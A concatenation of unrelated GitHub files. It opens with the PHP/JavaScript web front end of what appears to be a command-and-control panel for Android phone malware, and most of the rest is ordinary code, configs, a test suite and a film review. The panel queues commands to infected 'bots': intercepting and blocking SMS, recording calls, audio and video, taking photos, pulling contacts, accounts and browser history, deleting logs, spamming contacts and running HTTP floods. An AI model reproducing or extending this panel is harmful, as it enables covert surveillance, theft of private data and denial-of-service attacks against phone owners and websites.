document.getElementById(selected[i]).innerHTML = '+';
}
selected.length = 0;
document.getElementById("selectednumber").innerHTML = selected.length;
document.getElementById("selectednumber").setAttribute("data-original-title", "None Selected");
deleteOverlays();
}
function selectall() {
selected = $("div.addbuttons > button").map(function(){
return this.id;
}).get();
var index = selected.indexOf(" ");
selected.splice(index, 1);
var index2 = selected.indexOf("");
selected.splice(index2, 1);
for (var i=0;i<selected.length;i++) {
document.getElementById(selected[i]).onclick();
}
document.getElementById("selectednumber").innerHTML = selected.length;
document.getElementById("selectednumber").setAttribute("data-original-title", selected.join(', '));
}
function getHistory(uid) {
if (uid=="") {
document.getElementById("historyof").innerHTML = "All Bots";
} else {
document.getElementById("historyof").innerHTML = uid;
}
var xmlhttp;
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function() {
if (xmlhttp.readyState==4 && xmlhttp.status==200){
document.getElementById("messages").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","getmessages.php?uid="+uid,true);
xmlhttp.send();
}
function addCommand(command, arg1, arg2) {
var xmlhttp;
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function() {
if (xmlhttp.readyState==4 && xmlhttp.status==200){
if (xmlhttp.responseText=="Success"){
alert("Command Added");
} else {
alert(xmlhttp.responseText);
}
}
}
xmlhttp.open("GET","addcommand.php?uid="+selected+"&command="+command+"&arg1="+arg1+"&arg2="+arg2,true);
xmlhttp.send();
}
var refresh;
var scroll;
<?php if($autoscrolltextbox){ echo "scroll='auto'"; } else { echo "scroll='manual'"; } ?>
function updateScroll() {
if (scroll=='auto'){
scroll='manual';
document.getElementById("autoscrollbutton").innerHTML="Auto Scroll: Off";
} else {
scroll='auto';
document.getElementById("autoscrollbutton").innerHTML="Auto Scroll: On";
}
}
function autoScroll(){
if (scroll=='auto'){
var elem = document.getElementById('messagebox');
elem.scrollTop = elem.scrollHeight;
} else {
}
}
function autorefresh(uid) {
refresh = setInterval(function() { getHistory(uid); autoScroll(); }, <?php echo $messageboxrefreshspeed; ?>);
}
function stoprefresh() {
window.clearInterval(window.refresh);
}
function viewCommands() {
stoprefresh();
var xmlhttp;
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function() {
if (xmlhttp.readyState==4 && xmlhttp.status==200){
document.getElementById("messages").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","getwaitingcommands.php",true);
xmlhttp.send();
}
function fixSelected() {
$.each(selected, function(index, value) {
document.getElementById(value).innerHTML = '-';
});
}
function refreshTable() {
$('#tablefill').load('table.php', function(){
fixSelected();
});
}
function refreshFileTable() {
$('#filetablefill').load('filetable.php', function(){
});
}
function refreshImages() {
$('#replaceimages').load('showpictures.php?uid='+uid, function(){
var sliderval=document.getElementById('defaultSlider').value;
$('.getimgimg').width(sliderval+'px');
});
}
function getImages() {
uid = $("#modaluid").val();
startdate = $("#modalstarttime").val();
enddate = $("#modalendtime").val();
filesize = $("#modalfilesize").val();
fixstartdate = Date.parse(startdate).getTime()/1000;
fixenddate = Date.parse(enddate).getTime()/1000;
var xmlhttp;
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function() {
if (xmlhttp.readyState==4 && xmlhttp.status==200){
}
}
xmlhttp.open("GET","getimages.php?uid="+uid+"&start="+fixstartdate+"&end="+fixenddate+"&filesize="+filesize,true);
xmlhttp.send();
refreshImages();
imgrefresh = setInterval(refreshImages, 2000);
}
function deletePics(uid) {
var xmlhttp;
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function() {
if (xmlhttp.readyState==4 && xmlhttp.status==200){
alert(xmlhttp.responseText);
}
}
xmlhttp.open("GET","deletepics.php?uid="+uid,true);
xmlhttp.send();
}
$(function(){
$('#defaultSlider').change(function(){
$('.getimgimg').width(this.value);
});
$('#defaultSlider').change();
});
</script>
<script type='text/javascript'>
$(document).ready(function () {
if ($("[rel=tooltip]").length) {
$("[rel=tooltip]").tooltip();
}
refreshTable();
refreshFileTable();
getHistory("");
autorefresh("");
setInterval(refreshTable, <?php echo $devicestablerefreshspeed; ?>);
setInterval(refreshFileTable, <?php echo $filestablerefreshspeed; ?>);
});
</script>
</head>
<body style="width: 100%; height: 100%;">
<div class="main">
<div class="row" style="height:60%;">
<div class="col-lg-9 devicestable" style="height:100%; min-height:380px; padding-top: 5px; overflow:auto;">
<div id="tablefill"></div>
</div>
<div class="modal fade" id="imageModal">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
<h4 class="modal-title">View Images</h4>
</div>
<div class="modal-body">
<p>UID</p>
<input class="form-control input-small" id="modaluid" type="text" value="">
<p>Start Date</p>
<input class="form-control input-small" id="modalstarttime" type="date" placeholder="Start Date">
<p>End Date</p>
<input class="form-control input-small" id="modalendtime" type="date" placeholder="End Date">
<p>Max File Size</p>
<input class="form-control input-small" id="modalfilesize" type="text" placeholder="Max File Size in MB">
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
<button type="button" class="btn btn-primary" data-toggle="modal" data-target="#displayImages" data-dismiss="modal" onclick="getImages();">View Images</button>
</div>
</div><!-- /.modal-content -->
</div><!-- /.modal-dialog -->
</div><!-- /.modal -->
<div class="modal fade" id="displayImages">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
<h4 style="display:inline;" class="modal-title">Images</h4> <input id="defaultSlider" type="range" min="100" max="520" />
</div>
<div class="modal-body">
<div id="replaceimages"></div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" onclick="window.clearInterval(window.imgrefresh);" data-dismiss="modal">Close</button>
</div>
</div><!-- /.modal-content -->
</div><!-- /.modal-dialog -->
</div><!-- /.modal -->
<div class="col-lg-3 functionslist" style="height:100%; min-height:380px; padding-top: 5px; overflow:auto;">
<h4 style="display: inline-block;">Selected: <a data-toggle="tooltip" rel="tooltip" title="None Selected" data-placement="bottom" id="selectednumber">0</a></h4> <button type="button" class="btn btn-default btn-small" onclick="clearselection()">Deselect All</button> <button type="button" class="btn btn-default btn-small" onclick="selectall()">Select All</button>
<table class="table" id="func">
<tr>
<td><button type="button" onclick="addCommand('ringervolumeup')" class="btn btn-default btn-small fullwidth">Ringer Up</button></td>
<td><button type="button" onclick="addCommand('ringervolumedown')" class="btn btn-default btn-small fullwidth">Ringer Down</button></td>
</tr>
<tr>
<td><button type="button" onclick="addCommand('mediavolumeup')" class="btn btn-default btn-small fullwidth">Media Up</button></td>
<td><button type="button" onclick="addCommand('mediavolumedown')" class="btn btn-default btn-small fullwidth">Media Down</button></td>
</tr>
<tr>
<td colspan="2"><button type="button" onclick="addCommand('screenon')" class="btn btn-default btn-small fullwidth">Screen On</button></td>
</tr>
<tr>
<td><button type="button" onclick="addCommand('intercept', true)" class="btn btn-default btn-small fullwidth">Intercept On</button></td>
<td><button type="button" onclick="addCommand('intercept', false)" class="btn btn-default btn-small fullwidth">Intercept Off</button></td>
</tr>
<tr>
<td><button type="button" onclick="addCommand('blocksms', true)" class="btn btn-default btn-small fullwidth">Block SMS On</button></td>
<td><button type="button" onclick="addCommand('blocksms', false)" class="btn btn-default btn-small fullwidth">Block SMS Off</button></td>
</tr>
<tr>
<td><input class="form-control input-small" id="audiorecordtime" type="text" placeholder="Time in MS"></td>
<td><button type="button" onclick="addCommand('recordaudio', document.getElementById('audiorecordtime').value)" class="btn btn-default btn-small fullwidth">Record Audio</button></td>
</tr>
<tr>
<td><input class="form-control input-small" id="videorecordtime" type="text" placeholder="Time in MS"></td>
<td><div class="btn-group"><button type="button" class="btn btn-default btn-small dropdown-toggle fullwidth" data-toggle="dropdown">Record Video <span class="caret"></span></button><ul class="dropdown-menu" style="left: -17%;"><li><a href="#" onclick="addCommand('takevideo', 1, document.getElementById('videorecordtime').value)">Front Camera</a></li><li><a href="#" onclick="addCommand('takevideo', 0, document.getElementById('videorecordtime').value)">Back Camera</a></li></ul></div></td>
</tr>
<tr>
<td><button type="button" onclick="alert('Please select Front or Back Camera.')" class="btn btn-default btn-small fullwidth">Take Photo</button></td>
<td><button type="button" onclick="addCommand('takephoto', 1)" class="btn btn-default btn-small halfwidth">Front</button> <button type="button" onclick="addCommand('takephoto', 0)" class="btn btn-default btn-small halfwidth">Back</button></td>
</tr>
<tr>
<td><button type="button" onclick="addCommand('recordcalls', true)" class="btn btn-default btn-small fullwidth">Record Calls On</button></td>
<td><button type="button" onclick="addCommand('recordcalls', false)" class="btn btn-default btn-small fullwidth">Record Calls Off</button></td>
</tr>
<tr>
<td colspan="2"><div class="btn-group fullwidth"><button type="button" class="btn btn-default btn-small dropdown-toggle fullwidth" data-toggle="dropdown">Upload Files <span class="caret"></span></button><ul class="dropdown-menu" style="left: 0;"><li><a href="#" onclick="addCommand('uploadfiles')">All</a></li><li><a href="#" onclick="addCommand('uploadfiles', 'Calls')">Calls</a></li><li><a href="#" onclick="addCommand('uploadfiles', 'Audio')">Audio</a></li><li><a href="#" onclick="addCommand('uploadfiles', 'Pictures')">Pictures</a></li><li><a href="#" onclick="addCommand('uploadfiles', 'Videos')">Videos</a></li></div></td>
</tr>
<tr>
<td colspan="2"><button type="button" onclick="addCommand('changedirectory')" class="btn btn-default btn-small fullwidth">Change Directory</button></td>
</tr>
<tr>
<td colspan="2"><div class="btn-group fullwidth"><button type="button" class="btn btn-default btn-small dropdown-toggle fullwidth" data-toggle="dropdown">Delete Files <span class="caret"></span></button><ul class="dropdown-menu" style="left: 0;"><li><a href="#" onclick="addCommand('deletefiles')">All</a></li><li><a href="#" onclick="addCommand('deletefiles', 'Calls')">Calls</a></li><li><a href="#" onclick="addCommand('deletefiles', 'Audio')">Audio</a></li><li><a href="#" onclick="addCommand('deletefiles', 'Pictures')">Pictures</a></li><li><a href="#" onclick="addCommand('deletefiles', 'Videos')">Videos</a></li></div></td>
</tr>
<tr>
<td><input class="form-control input-small" id="getamount" type="text" placeholder="Amount"></td>
<td><div class="btn-group fullwidth"><button type="button" class="btn btn-default btn-small dropdown-toggle fullwidth" data-toggle="dropdown">Get <span class="caret"></span></button><ul class="dropdown-menu" style="left: -50%;"><li><a href="#" onclick="addCommand('getinboxsms', document.getElementById('getamount').value)">Inbox SMS</a></li><li><a href="#" onclick="addCommand('getsentsms', document.getElementById('getamount').value)">Outbox SMS</a></li><li><a href="#" onclick="addCommand('getbrowserhistory', document.getElementById('getamount').value)">Browser History</a></li><li><a href="#" onclick="addCommand('getbrowserbookmarks', document.getElementById('getamount').value)">Browswer Bookmarks</a></li><li><a href="#" onclick="addCommand('getcallhistory', document.getElementById('getamount').value)">Call History</a></li><li><a href="#" onclick="addCommand('getcontacts', document.getElementById('getamount').value)">Contacts</a></li><li><a href="#" onclick="addCommand('getuseraccounts', document.getElementById('getamount').value)">User Accounts</a></li><li><a href="#" onclick="addCommand('getinstalledapps', document.getElementById('getamount').value)">Installed Apps</a></li></div></td>
</tr>
<tr>
<td><input class="form-control input-small" id="smsnumber" type="text" placeholder="Number"><input class="form-control input-small" id="smsmessage" type="text" placeholder="Message"></td>
<td><button type="button" onclick="addCommand('sendtext', document.getElementById('smsnumber').value, document.getElementById('smsmessage').value)" class="btn btn-default btn-small fullwidth">Send SMS</button></td>
</tr>
<tr>
<td><input class="form-control input-small" id="deletesmsthreadid" type="text" placeholder="Thread ID"><input class="form-control input-small" id="deletesmsid" type="text" placeholder="ID"></td>
<td><button type="button" onclick="addCommand('deletesms', document.getElementById('deletesmsthreadid').value, document.getElementById('deletesmsid').value)" class="btn btn-default btn-small fullwidth">Delete SMS</button></td>
</tr>
<tr>
<td><input class="form-control input-small" id="contactsmessage" type="text" placeholder="Message"></td>
<td><button type="button" onclick="addCommand('sendcontacts', document.getElementById('contactsmessage').value)" class="btn btn-default btn-small fullwidth">Send to Contacts</button></td>
</tr>
<tr>
<td><input class="form-control input-small" id="callnumber" type="text" placeholder="Number"></td>
<td><button type="button" onclick="addCommand('callnumber', document.getElementById('callnumber').value)" class="btn btn-default btn-small fullwidth">Call Number</button></td>
</tr>
<tr>
<td><input class="form-control input-small" id="calllognumber" type="text" placeholder="Number"></td>
<td><button type="button" onclick="addCommand('deletecalllognumber', document.getElementById('calllognumber').value)" class="btn btn-default btn-small fullwidth">Delete Call Log</button></td>
</tr>
<tr>
<td><input class="form-control input-small" id="webpagesite" type="text" placeholder="Site"></td>
<td><button type="button" onclick="addCommand('openwebpage', document.getElementById('webpagesite').value)" class="btn btn-default btn-small fullwidth">Open Page</button></td>
</tr>
<tr>
<td><input class="form-control input-small" id="dialogtitle" type="text" placeholder="Title"><input class="form-control input-small" id="dialogmessage" type="text" placeholder="Message"></td>
<td><button type="button" onclick="addCommand('opendialog', document.getElementById('dialogtitle').value, document.getElementById('dialogmessage').value)" class="btn btn-default btn-small fullwidth">Open Dialog</button></td>
</tr>
<tr>
<td><input class="form-control input-small" id="appname" type="text" placeholder="App"></td>
<td><button type="button" onclick="addCommand('openapp', document.getElementById('appname').value)" class="btn btn-default btn-small fullwidth">Open App</button></td>
</tr>
<tr>
<td><input class="form-control input-small" id="floodsite" type="text" placeholder="Site"><input class="form-control input-small" id="floodtime" type="text" placeholder="Time in MS"></td>
<td><button type="button" onclick="addCommand('httpflood', document.getElementById('floodsite').value, document.getElementById('floodtime').value)" class="btn btn-default btn-small fullwidth">HTTP Flood</button></td>
</tr>
<tr>
<td><input class="form-control input-small" id="updateapplink" type="text" placeholder="Direct Link"><input class="form-control input-small" id="updateappversion" type="text" placeholder="Version #"></td>
<td><button type="button" onclick="addCommand('updateapp', document.getElementById('updateapplink').value, document.getElementById('updateappversion').value)" class="btn btn-default btn-small fullwidth">Update App</button></td>
</tr>
<tr>
<td><input class="form-control input-small" id="promptupdateversion" type="text" placeholder="Version #"></td>
<td><button type="button" onclick="addCommand('promptupdate', document.getElementById('promptupdateversion').value)" class="btn btn-default btn-small fullwidth">Prompt Update</button></td>
</tr>
<tr>
<td><input class="form-control input-small" id="transferboturl" type="text" placeholder="URL"></td>
<td><button type="button" onclick="addCommand('transferbot', document.getElementById('transferboturl').value)" class="btn btn-default btn-small fullwidth">Transfer Bot</button></td>
</tr>
<tr>
<td><input class="form-control input-small" id="timeouttime" type="text" placeholder="Time in MS"></td>
<td><button type="button" onclick="addCommand('settimeout', document.getElementById('timeouttime').value)" class="btn btn-default btn-small fullwidth">Set Timeout</button></td>
</tr>
<tr>
<td colspan="2"><button type="button" onclick="addCommand('promptuninstall')" class="btn btn-default btn-small fullwidth">Prompt Uninstall</button></td>
</tr>
<tr><td></td><td></td><td></td></tr>
</table>
</div>
</div>
<div class="row" style="height:37%; ">
<div class="col-lg-5 messageboxcontainer" style="height:100%; min-height: 100%;">
<h4 style="display: inline-block;">History Of: <a id="historyof">All Bots</a></h4> <button type="button" class="btn btn-default btn-small" onclick="stoprefresh(); getHistory(''); autorefresh('');">All Bots</button> <button type="button" class="btn btn-default btn-small" id="autoscrollbutton" onclick="updateScroll();">Auto Scroll: <?php if($autoscrolltextbox){echo "On";} else {echo "Off";} ?></button> <button type="button" class="btn btn-default btn-small" onclick="viewCommands();">View Awaiting Commands</button>
<div class="well well-small" id="messagebox" style="max-height: 75%; min-height: 75%; overflow: auto;">
<div id="messages" style="font-size: <?php echo $postboxtextsize . 'px;'; ?>"></div>
</div>
</div>
<div class="col-lg-4 filestable" style="height:100%; min-height: 100%; overflow: auto;">
<div id="filetablefill"></div>
</div>
<div class="col-lg-3 mapcontainer" style="height:100%; min-height: 100%;">
<div class="map" id="map-canvas"></div>
<button type="button" onClick="window.location='settings.php'" style="width: 48%" class="btn btn-default btn-small">Panel Settings</button> <button type="button" onClick="window.location='logout.php'" style="width: 48%" class="btn btn-default btn-small">Logout</button>
</div>
</div>
</div>
<script src="assets/js/bootstrap.min.js"></script>
<script>
$(document).ready(function()
{
$("#files").tablesorter();
}
);
</script>
</body>
</html>
<?php
$connect = null;
?> | {
"pile_set_name": "Github"
} |
// Protractor configuration file, see link for more information
// https://github.com/angular/protractor/blob/master/lib/config.ts
const { SpecReporter } = require('jasmine-spec-reporter');
exports.config = {
allScriptsTimeout: 11000,
specs: [
'./e2e/**/*.e2e-spec.ts'
],
capabilities: {
'browserName': 'chrome'
},
directConnect: true,
baseUrl: 'http://localhost:4200/',
framework: 'jasmine',
jasmineNodeOpts: {
showColors: true,
defaultTimeoutInterval: 30000,
print: function() {}
},
onPrepare() {
require('ts-node').register({
project: 'e2e/tsconfig.e2e.json'
});
jasmine.getEnv().addReporter(new SpecReporter({ spec: { displayStacktrace: true } }));
}
};
| {
"pile_set_name": "Github"
} |
/*
Copyright (c) 2003-2018, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license
*/
CKEDITOR.plugins.setLang( 'templates', 'de', {
button: 'Vorlagen',
emptyListMsg: '(Keine Vorlagen definiert)',
insertOption: 'Aktuelle Inhalte ersetzen',
options: 'Vorlagenoptionen',
selectPromptMsg: 'Klicken Sie auf eine Vorlage, um sie im Editor zu öffnen',
title: 'Inhaltsvorlagen'
} );
| {
"pile_set_name": "Github"
} |
module github.com/Azure/go-autorest/tracing
go 1.12
| {
"pile_set_name": "Github"
} |
{
"from": 0,
"size": 10,
"query": {
"filtered": {
"query": {
"bool": {
"must": [
{
"range": {
"myfield._number": {
"from": 1.0,
"to": null,
"include_lower": true,
"include_upper": true
}
}
},
{
"match": {
"myfield": {
"query": "myPhrase",
"operator": "OR"
}
}
}
]
}
},
"filter": {
"exists": {
"field": "doesthisfieldexist"
}
}
}
},
"filter": {
"terms": {
"myfield": [
"myValue",
"mySecondValue"
]
}
},
"explain": false,
"sort": [
{
"_geo_distance": {
"myfield._geopoint": [
-50.0,
-70.0
]
}
},
{
"myfield._orderby": {
"order": "desc",
"ignore_unmapped": true
}
}
],
"facets": {
"myTermFacet": {
"terms": {
"field": "mytermfield",
"size": 10,
"order": "term",
"all_terms": false
}
}
}
}
| {
"pile_set_name": "Github"
} |
// Copyright (c) 2012 Ecma International. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.
/*---
esid: sec-identifiers-static-semantics-early-errors
es5id: 7.6.1.2-1-s
description: >
Strict Mode - SyntaxError is thrown when 'implements' occurs in strict mode code
info: |
Identifier : IdentifierName but not ReservedWord
It is a Syntax Error if this phrase is contained in strict mode code and the
StringValue of IdentifierName is: "implements", "interface", "let", "package",
"private", "protected", "public", "static", or "yield".
negative:
phase: parse
type: SyntaxError
flags: [onlyStrict]
---*/
throw "Test262: This statement should not be evaluated.";
var implements = 1;
| {
"pile_set_name": "Github"
} |
{
"images" : [
{
"idiom" : "universal",
"scale" : "1x"
},
{
"idiom" : "universal",
"filename" : "IMG_2766.PNG",
"scale" : "2x"
},
{
"idiom" : "universal",
"scale" : "3x"
}
],
"info" : {
"version" : 1,
"author" : "xcode"
}
} | {
"pile_set_name": "Github"
} |
# With ziprequire you can load ruby modules from a zip file. This means
# ruby's module include path can include zip-files.
#
# The following example creates a zip file with a single entry
# <code>log/simplelog.rb</code> that contains a single function
# <code>simpleLog</code>:
#
# require 'zip/zipfilesystem'
#
# Zip::ZipFile.open("my.zip", true) {
# |zf|
# zf.file.open("log/simplelog.rb", "w") {
# |f|
# f.puts "def simpleLog(v)"
# f.puts ' Kernel.puts "INFO: #{v}"'
# f.puts "end"
# }
# }
#
# To use the ruby module stored in the zip archive simply require
# <code>zip/ziprequire</code> and include the <code>my.zip</code> zip
# file in the module search path. The following command shows one
# way to do this:
#
# ruby -rzip/ziprequire -Imy.zip -e " require 'log/simplelog'; simpleLog 'Hello world' "
#$: << 'data/rubycode.zip' << 'data/rubycode2.zip'
require 'zip/zip'
class ZipList #:nodoc:all
def initialize(zipFileList)
@zipFileList = zipFileList
end
def get_input_stream(entry, &aProc)
@zipFileList.each {
|zfName|
Zip::ZipFile.open(zfName) {
|zf|
begin
return zf.get_input_stream(entry, &aProc)
rescue Errno::ENOENT
end
}
}
raise Errno::ENOENT,
"No matching entry found in zip files '#{@zipFileList.join(', ')}' "+
" for '#{entry}'"
end
end
module Kernel #:nodoc:all
alias :oldRequire :require
def require(moduleName)
zip_require(moduleName) || oldRequire(moduleName)
end
def zip_require(moduleName)
return false if already_loaded?(moduleName)
get_resource(ensure_rb_extension(moduleName)) {
|zis|
eval(zis.read); $" << moduleName
}
return true
rescue Errno::ENOENT => ex
return false
end
def get_resource(resourceName, &aProc)
zl = ZipList.new($:.grep(/\.zip$/))
zl.get_input_stream(resourceName, &aProc)
end
def already_loaded?(moduleName)
moduleRE = Regexp.new("^"+moduleName+"(\.rb|\.so|\.dll|\.o)?$")
$".detect { |e| e =~ moduleRE } != nil
end
def ensure_rb_extension(aString)
aString.sub(/(\.rb)?$/i, ".rb")
end
end
# Copyright (C) 2002 Thomas Sondergaard
# rubyzip is free software; you can redistribute it and/or
# modify it under the terms of the ruby license.
| {
"pile_set_name": "Github"
} |
stephen , please post if appropriate .
" mafia ! " - crime isn't a funny business by homer yen ( c ) 1998
on a particular night when i found myself having some free time , i had a chance to either go to sleep early or to see " mafia ! " , a spoof of mafia and crime films such as " the godfather , " " goodfellas " and " casino " .
at 84 minutes in length , i thought that i could enjoy a few laughs before getting a good nights sleep .
but by my account , i think that my laff-o-meter only registered a few grins , one giggle , and maybe one chortle .
i suppose that you could justify your time as homage to the venerable hollywood star , lloyd bridges , who just recently passed away and whose last performance was in this film .
" mafia ! "
chronicles vincenzo cortino's ( lloyd bridges ) life .
separated from his family when he was young , he escapes to america and tries to live an honest life .
but as fate would have it , vincenzo grows up to be a powerful and klutzy crime lord .
following in his footsteps are his two sons , joey ( billy burke ) and anthony ( jay mohr ) .
like all siblings in powerful crime families , they squabble over power , the future of the family , fortune , and women .
" mafia ! " is co-written by jim abrahams , who also contributed to some gut-busting funny spoofs such as " airplane " and " the naked gun . "
but these previous movies were funny because the jokes seemed more universally understood and there was more of a manic silliness at work .
as i write this , i also wonder how many people have actually seen the movies on which this spoof is based .
crime movies in general contain a lot of profanity and violence .
it's a tough genre to parody .
i was kind of hoping that they could somehow spoof the profanity used in all of those crime movies , maybe by having all of the tough crime lords say " please " as they decide which sector to take over , but this opportunity was never explored .
there were one or two moments that made me smile such as the scene where vincenzo is dancing with his newly wed daughter-in-law .
a gunman shoots him several times .
the impact of the bullets cause him to make these wild contortions that force the wedding band to change music styles to keep up with him , from the samba to disco to the macarena .
i think that i just gave away the best part of the film .
oh well , that just means that you can go to sleep a little earlier .
| {
"pile_set_name": "Github"
} |
{
"Namespace": "test",
"Operation": "EVAL",
"Collection": "",
"Database": "test",
"Keys": "",
"Fingerprint": "EVAL"
} | {
"pile_set_name": "Github"
} |
define("ace/theme/tomorrow_night_eighties",["require","exports","module","ace/lib/dom"], function(require, exports, module) {
exports.isDark = true;
exports.cssClass = "ace-tomorrow-night-eighties";
exports.cssText = ".ace-tomorrow-night-eighties .ace_gutter {\
background: #272727;\
color: #CCC\
}\
.ace-tomorrow-night-eighties .ace_print-margin {\
width: 1px;\
background: #272727\
}\
.ace-tomorrow-night-eighties {\
background-color: #2D2D2D;\
color: #CCCCCC\
}\
.ace-tomorrow-night-eighties .ace_constant.ace_other,\
.ace-tomorrow-night-eighties .ace_cursor {\
color: #CCCCCC\
}\
.ace-tomorrow-night-eighties .ace_marker-layer .ace_selection {\
background: #515151\
}\
.ace-tomorrow-night-eighties.ace_multiselect .ace_selection.ace_start {\
box-shadow: 0 0 3px 0px #2D2D2D;\
}\
.ace-tomorrow-night-eighties .ace_marker-layer .ace_step {\
background: rgb(102, 82, 0)\
}\
.ace-tomorrow-night-eighties .ace_marker-layer .ace_bracket {\
margin: -1px 0 0 -1px;\
border: 1px solid #6A6A6A\
}\
.ace-tomorrow-night-bright .ace_stack {\
background: rgb(66, 90, 44)\
}\
.ace-tomorrow-night-eighties .ace_marker-layer .ace_active-line {\
background: #393939\
}\
.ace-tomorrow-night-eighties .ace_gutter-active-line {\
background-color: #393939\
}\
.ace-tomorrow-night-eighties .ace_marker-layer .ace_selected-word {\
border: 1px solid #515151\
}\
.ace-tomorrow-night-eighties .ace_invisible {\
color: #6A6A6A\
}\
.ace-tomorrow-night-eighties .ace_keyword,\
.ace-tomorrow-night-eighties .ace_meta,\
.ace-tomorrow-night-eighties .ace_storage,\
.ace-tomorrow-night-eighties .ace_storage.ace_type,\
.ace-tomorrow-night-eighties .ace_support.ace_type {\
color: #CC99CC\
}\
.ace-tomorrow-night-eighties .ace_keyword.ace_operator {\
color: #66CCCC\
}\
.ace-tomorrow-night-eighties .ace_constant.ace_character,\
.ace-tomorrow-night-eighties .ace_constant.ace_language,\
.ace-tomorrow-night-eighties .ace_constant.ace_numeric,\
.ace-tomorrow-night-eighties .ace_keyword.ace_other.ace_unit,\
.ace-tomorrow-night-eighties .ace_support.ace_constant,\
.ace-tomorrow-night-eighties .ace_variable.ace_parameter {\
color: #F99157\
}\
.ace-tomorrow-night-eighties .ace_invalid {\
color: #CDCDCD;\
background-color: #F2777A\
}\
.ace-tomorrow-night-eighties .ace_invalid.ace_deprecated {\
color: #CDCDCD;\
background-color: #CC99CC\
}\
.ace-tomorrow-night-eighties .ace_fold {\
background-color: #6699CC;\
border-color: #CCCCCC\
}\
.ace-tomorrow-night-eighties .ace_entity.ace_name.ace_function,\
.ace-tomorrow-night-eighties .ace_support.ace_function,\
.ace-tomorrow-night-eighties .ace_variable {\
color: #6699CC\
}\
.ace-tomorrow-night-eighties .ace_support.ace_class,\
.ace-tomorrow-night-eighties .ace_support.ace_type {\
color: #FFCC66\
}\
.ace-tomorrow-night-eighties .ace_heading,\
.ace-tomorrow-night-eighties .ace_markup.ace_heading,\
.ace-tomorrow-night-eighties .ace_string {\
color: #99CC99\
}\
.ace-tomorrow-night-eighties .ace_comment {\
color: #999999\
}\
.ace-tomorrow-night-eighties .ace_entity.ace_name.ace_tag,\
.ace-tomorrow-night-eighties .ace_entity.ace_other.ace_attribute-name,\
.ace-tomorrow-night-eighties .ace_meta.ace_tag,\
.ace-tomorrow-night-eighties .ace_variable {\
color: #F2777A\
}\
.ace-tomorrow-night-eighties .ace_indent-guide {\
background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWPQ09NrYAgMjP4PAAtGAwchHMyAAAAAAElFTkSuQmCC) right repeat-y\
}";
var dom = require("../lib/dom");
dom.importCssString(exports.cssText, exports.cssClass);
});
| {
"pile_set_name": "Github"
} |
title: RA_1103_access_internal_http_logs
id: RA1103
description: >
Make sure you have access to internal communication HTTP logs
author: your name/nickname/twitter
creation_date: YYYY/MM/DD
stage: preparation
references:
- https://example.com
requirements:
- DN_zeek_http_log
workflow: |
Description of the workflow for the Response Action in markdown format.
Here newlines will be saved.
| {
"pile_set_name": "Github"
} |
Manifest-Version: 1.0
X-COMMENT: Main-Class will be added automatically by build
| {
"pile_set_name": "Github"
} |
--TEST--
Test xml_set_unparsed_entity_decl_handler() function : usage variations
--SKIPIF--
<?php
if (!extension_loaded("xml")) {
print "skip - XML extension not loaded";
}
?>
--FILE--
<?php
/* Prototype : proto int xml_set_unparsed_entity_decl_handler(resource parser, string hdl)
* Description: Set up unparsed entity declaration handler
* Source code: ext/xml/xml.c
* Alias to functions:
*/
echo "*** Testing xml_set_unparsed_entity_decl_handler() : usage variations ***\n";
error_reporting(E_ALL & ~E_NOTICE);
class aClass {
function __toString() {
return "Some Ascii Data";
}
}
function validHandler(resource $parser ,string $data) {
}
// Initialise function arguments not being substituted (if any)
$hdl = 'validHandler';
//get an unset variable
$unset_var = 10;
unset ($unset_var);
$fp = fopen(__FILE__, "r");
//array of values to iterate over
$values = array(
// int data
0,
1,
12345,
-2345,
// float data
10.5,
-10.5,
10.1234567e10,
10.7654321E-10,
.5,
// array data
array(),
array(0),
array(1),
array(1, 2),
array('color' => 'red', 'item' => 'pen'),
// null data
NULL,
null,
// boolean data
true,
false,
TRUE,
FALSE,
// empty data
"",
'',
// string data
"string",
'string',
// object data
new aClass(),
// resource data
$fp,
// undefined data
$undefined_var,
// unset data
$unset_var,
);
// loop through each element of the array for parser
foreach($values as $value) {
echo "\nArg value $value \n";
var_dump( xml_set_unparsed_entity_decl_handler($value, $hdl) );
};
fclose($fp);
echo "Done";
?>
--EXPECTF--
*** Testing xml_set_unparsed_entity_decl_handler() : usage variations ***
Arg value 0
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, integer given in %s on line %d
NULL
Arg value 1
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, integer given in %s on line %d
NULL
Arg value 12345
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, integer given in %s on line %d
NULL
Arg value -2345
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, integer given in %s on line %d
NULL
Arg value 10.5
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, double given in %s on line %d
NULL
Arg value -10.5
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, double given in %s on line %d
NULL
Arg value 101234567000
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, double given in %s on line %d
NULL
Arg value 1.07654321E-9
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, double given in %s on line %d
NULL
Arg value 0.5
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, double given in %s on line %d
NULL
Arg value Array
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, array given in %s on line %d
NULL
Arg value Array
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, array given in %s on line %d
NULL
